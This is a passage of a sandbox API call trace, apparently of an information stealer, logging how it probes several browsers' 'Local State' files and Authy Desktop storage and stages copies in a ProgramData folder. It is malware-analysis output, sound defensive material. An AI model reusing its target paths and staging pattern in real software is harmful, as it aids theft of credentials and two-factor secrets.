lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x3340048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned 74 [0143.432] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.432] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.432] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\local state")) returned 0xffffffff [0143.433] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.433] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.433] GetLastError () returned 0x3 [0143.433] SetLastError (dwErrCode=0x3) [0143.433] GetLastError () returned 0x3 [0143.433] SetLastError (dwErrCode=0x3) [0143.433] GetLastError () returned 0x3 [0143.433] SetLastError (dwErrCode=0x3) [0143.433] GetLastError () returned 0x3 [0143.433] SetLastError (dwErrCode=0x3) [0143.433] GetLastError () returned 0x3 [0143.434] SetLastError (dwErrCode=0x3) [0143.434] GetLastError () returned 0x3 [0143.434] SetLastError (dwErrCode=0x3) [0143.434] GetLastError () returned 0x3 [0143.434] SetLastError (dwErrCode=0x3) [0143.434] GetLastError () returned 0x3 [0143.434] SetLastError (dwErrCode=0x3) [0143.434] GetLastError () returned 0x3 [0143.434] SetLastError (dwErrCode=0x3) [0143.434] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.434] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.435] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" [0143.435] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\" [0143.435] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\" [0143.435] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State" [0143.435] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0143.435] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9c) returned 0x3340048 [0143.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=78, lpWideCharStr=0x3340048, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State") returned 78 [0143.435] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.435] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.435] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data\\local state")) returned 0xffffffff [0143.436] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.436] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.436] GetLastError () returned 0x3 [0143.436] SetLastError (dwErrCode=0x3) [0143.436] GetLastError () returned 0x3 [0143.436] SetLastError (dwErrCode=0x3) [0143.436] GetLastError () returned 0x3 [0143.436] SetLastError (dwErrCode=0x3) [0143.436] GetLastError () returned 0x3 [0143.436] SetLastError (dwErrCode=0x3) [0143.436] GetLastError () returned 0x3 [0143.437] SetLastError (dwErrCode=0x3) [0143.437] GetLastError () returned 0x3 [0143.437] SetLastError (dwErrCode=0x3) [0143.437] GetLastError () returned 0x3 [0143.437] SetLastError (dwErrCode=0x3) [0143.437] GetLastError () returned 0x3 [0143.437] SetLastError (dwErrCode=0x3) [0143.437] GetLastError () returned 0x3 [0143.437] SetLastError (dwErrCode=0x3) [0143.437] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080098, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x2080098, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x883d68, cFileName="¤ð\x19", cAlternateFileName="t")) returned 0xffffffff [0143.437] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.438] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" [0143.438] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\" [0143.438] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\" [0143.438] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State" [0143.438] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0143.438] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9a) returned 0x3340048 [0143.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=77, lpWideCharStr=0x3340048, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State") returned 77 [0143.438] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.438] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.438] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tencent\\qqbrowser\\user data\\local state")) returned 0xffffffff [0143.438] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.439] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.439] GetLastError () returned 0x3 [0143.439] SetLastError (dwErrCode=0x3) [0143.439] GetLastError () returned 0x3 [0143.439] SetLastError (dwErrCode=0x3) [0143.439] GetLastError () returned 0x3 [0143.439] SetLastError (dwErrCode=0x3) [0143.439] GetLastError () returned 0x3 [0143.439] SetLastError (dwErrCode=0x3) [0143.439] GetLastError () returned 0x3 [0143.439] SetLastError (dwErrCode=0x3) [0143.439] GetLastError () returned 0x3 [0143.440] SetLastError (dwErrCode=0x3) [0143.440] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080096, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080096, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="e")) returned 0xffffffff [0143.440] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.440] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" [0143.440] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\" [0143.440] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\" [0143.440] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State" [0143.440] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0143.440] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9a) returned 0x3340048 [0143.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=77, lpWideCharStr=0x3340048, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State") returned 77 [0143.441] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.441] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.441] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\cryptotab browser\\user data\\local state")) returned 0xffffffff [0143.441] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.441] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.441] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CryptoTab Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080096, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080096, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x840f00, cFileName="¤ð\x19", cAlternateFileName="e")) returned 0xffffffff [0143.441] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0143.441] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2361478 [0143.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0143.441] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa2) returned 0x3340048 [0143.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=81, lpWideCharStr=0x3340048, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage") returned 81 [0143.442] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x23611c0 [0143.442] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.442] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\*.localstorage", lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x23604ba, dwReserved0=0x0, dwReserved1=0x77926588, cFileName="\x06؀8", cAlternateFileName="+")) returned 0xffffffff [0143.442] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.442] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1c) returned 0x2361428 [0143.444] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x23604ba, dwReserved0=0x0, dwReserved1=0x77926588, cFileName="\x06؀8", cAlternateFileName="+")) returned 0 [0143.444] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.444] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.444] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft"), lpSecurityAttributes=0x0) returned 1 [0143.445] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.445] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.445] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authy"), lpSecurityAttributes=0x0) returned 1 [0143.445] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.445] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361478 [0143.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0143.446] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x22) returned 0x23614a0 [0143.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=17, lpWideCharStr=0x23614a0, cchWideChar=17 | out: lpWideCharStr="files\\Soft\\Authy") returned 17 [0143.446] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0143.446] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a0 | out: hHeap=0x2360000) returned 1 [0143.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361078, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.446] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x52) returned 0x3340080 [0143.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361078, cbMultiByte=41, lpWideCharStr=0x3340080, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X") returned 41 [0143.446] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23611c0 [0143.446] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340080 | out: hHeap=0x2360000) returned 1 [0143.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8e) returned 0x3340080 [0143.454] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06؀8", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0143.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x3340118 [0143.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x06؀8", cchWideChar=4, lpMultiByteStr=0x3340118, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x06?8", lpUsedDefaultChar=0x0) returned 4 [0143.454] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340118 | out: hHeap=0x2360000) returned 1 [0143.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0143.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23611c0, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0143.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8c) returned 0x2361218 [0143.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23611c0, cbMultiByte=70, lpWideCharStr=0x2361218, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\\x06?8") returned 70 [0143.455] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340330 [0143.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361218 | out: hHeap=0x2360000) returned 1 [0143.455] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\\x06?8" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\\x06?8"), lpNewFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\Authy\\\x06؀8" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authy\\\x06؀8"), bFailIfExists=1) returned 0 [0143.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0143.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.455] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340080 | out: hHeap=0x2360000) returned 1 [0143.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0143.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x98) returned 0x3340048 [0143.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x3340048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*") returned 76 [0143.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.456] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*", lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x58, ftCreationTime.dwLowDateTime=0x1c00001c, ftCreationTime.dwHighDateTime=0x77926588, ftLastAccessTime.dwLowDateTime=0xd13c5127, ftLastAccessTime.dwHighDateTime=0x98, ftLastWriteTime.dwLowDateTime=0x2400ebcf, ftLastWriteTime.dwHighDateTime=0x90, nFileSizeHigh=0xb081112, nFileSizeLow=0x23604b6, dwReserved0=0x2400ebcf, dwReserved1=0x77926588, cFileName="\x0e฀(", cAlternateFileName="&")) returned 0xffffffff [0143.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1c) returned 0x3340048 [0143.456] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f20c | out: lpFindFileData=0x19f20c*(dwFileAttributes=0x58, ftCreationTime.dwLowDateTime=0x1c00001c, ftCreationTime.dwHighDateTime=0x77926588, ftLastAccessTime.dwLowDateTime=0xd13c5127, ftLastAccessTime.dwHighDateTime=0x98, ftLastWriteTime.dwLowDateTime=0x2400ebcf, ftLastWriteTime.dwHighDateTime=0x90, nFileSizeHigh=0xb081112, nFileSizeLow=0x23604b6, dwReserved0=0x2400ebcf, dwReserved1=0x77926588, cFileName="\x0e฀(", cAlternateFileName="&")) returned 0 [0143.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0143.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.457] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft"), lpSecurityAttributes=0x0) returned 0 [0143.457] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.457] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\soft\\authynew"), lpSecurityAttributes=0x0) returned 1 [0143.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0143.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0143.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x2361478 [0143.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=20, lpWideCharStr=0x2361478, cchWideChar=20 | out: lpWideCharStr="files\\Soft\\AuthyNew") returned 20 [0143.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23614a8 [0143.458] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361078, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x52) returned 0x3340070 [0143.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361078, cbMultiByte=41, lpWideCharStr=0x3340070, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X") returned 41 [0143.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23611c0 [0143.458] HeapFree (in: hHeap=0x2360000, 